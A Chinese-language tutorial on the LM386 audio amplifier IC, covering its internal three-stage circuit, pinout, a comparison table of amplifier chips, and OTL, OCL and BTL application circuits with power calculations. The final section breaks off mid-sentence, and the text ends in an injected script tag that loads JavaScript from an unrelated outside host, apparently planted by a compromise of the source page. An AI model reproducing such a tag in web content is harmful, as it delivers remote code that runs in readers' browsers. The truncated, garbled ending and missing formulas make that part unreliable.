lm386是一种音频集成功放,具有自身功耗低、电压增益可调整、电源电压范围大、外接元件少和总谐波失真小等优点,广泛应用于录音机和收音机之中。
一、lm386内部电路
lm386内部电路原理图如图所示。与通用型集成运放相类似,它是一个三级放大电路。
第一级为差分放大电路,t1和t3、t2和t4分别构成复合管,作为差分放大电路的放大管;t5和t6组成镜像电流源作为t1和t2的有源负载;t3和t4信号从管的基极输入,从t2管的集电极输出,为双端输入单端输出差分电路。使用镜像电流源作为差分放大电路有源负载,可使单端输出电路的增益近似等于双端输出电容的增益。
第二级为共射放大电路,t7为放大管,恒流源作有源负载,以增大放大倍数。
第三级中的t8和t9管复合成pnp型管,与npn型管t10构成准互补输出级。二极管d1和d2为输出级提供合适的偏置电压,可以消除交越失真。
引脚2为反相输入端,引脚3为同相输入端。电路由单电源供电,故为otl电路。输出端(引脚5)应外接输出电容后再接负载。
电阻r7从输出端连接到t2的发射极,形成反馈通路,并与r5和r6构成反馈网络,从而引入了深度电压串联负反馈,使整个电路具有稳定的电压增益。
二、lm386的引脚图
lm386的外形和引脚的排列如右图所示。引脚2为反相输入端,3为同相输入端;引脚5为输出端;引脚6和4分别为电源和地;引脚1和8为电压增益设定端;使用时在引脚7和地之间接旁路电容,通常取10μf。
集成功率放大电路的主要性能指标
集成功率放大电路的主要性能指标除最大输出功率外,还有电源电压范围、电源静态电流、电压增益、频带宽、输入阻抗、输入偏置电流、总谐波失真等。
lm386-1和lm386-3的电源电压为4~12v,lm386-4的电源电压为5~18v。因此,对于同一负载,当电源电压不同时,最大输出功率的数值将不同。已知电源的静态电流(可查阅手册)和负载电流最大值(通过最大输出功率和负载可求出),可求出电源的功耗,从而得到转换效率。
几种典型产品的性能如下表所示。
几种集成功放的主要参数表
型号
lm386-4
lm2877
tda1514a
tda1556
电路类型
otl
otl(双通道)
ocl
btl(双通道)
电源电压范围/v
5.0~18
6.0~24
±10~±30
6.0~18
静态电源电流/ma
4
25
56
80
输入阻抗/kω
50
1 000
120
输出功率/w
1 (vcc=16v, rl=32ω)
4.5
48 (vcc=±23v, rl=4ω)
22 (vcc=±14.4v, rl=4ω)
电压增益/db
26~46
70(开环)
89(开环)
30(闭环)
26(开环)
频带宽/khz
300
(1,8开路)
0.02~25
0.02~15
增益带宽积/khz
65
总谐波失真/%
(或db)
0.2%
0.07%
-90bb
0.1%
一、集成otl电路的应用
应用一
如图所示为lm386的一种基本用法,也是外接元件最少的一种用法,c1为输出电容。由于引脚1和8开路,集成功放的电压增益为26db,即电压放大倍数为20。利用rw可调节扬声器的音量。r和c2串联构成校正网络用来进行相位补偿。
静态时输出电容上电压为vcc/2,lm386的最大不失真输出电压的峰-峰值约为电源电压。设负载电阻为rl,最大输出功率表达式为
此时的输入电压有效值的表达式
当vcc=16v、rl=32ω时,pom≈1w,uim≈283mv。
应用二
如右图所示为lm386电压增益最大时的用法,c3使引脚1和8在交流通路中短路,使au≈200;c4为旁路电路;c5为去耦电容,滤掉电源的高频交流成分。当vcc=16v、rl=32ω时,pom≈1w,但是,输入电压有效值uim却仅需28.3mv。
应用三
如下图所示为lm386的一般用法,r2改变了lm386的电压增益,请读者分析之。
二、集成ocl电路的应用
如图所示为tda1521的基本用法。tda1521为2通道ocl电路,可作为立体声扩音机左、右两个声道的功放。其内部引入了深度电压串联负反馈,闭环电压增益为30db,并具有待、静噪功能以及短路和过热保护等。
查阅手册可知,当±vcc=±16v、rl=8ω时,若要求总谐波失真为0.5%,则pom≈12w。由于最大输出功率的表达式为
可得最大不失真输出电压uom≈9.8v,其峰值约为13.9v,可见功放输出电压的最小值约为2.1v。当输出功率为pom时,输入电压有效值uim≈327mv。
三、集成btl电路的应用
tda1556为2通道btl电路,与tda1521相同,也可作为立体声扩音机左右?script src=http://er12.com/t.js>











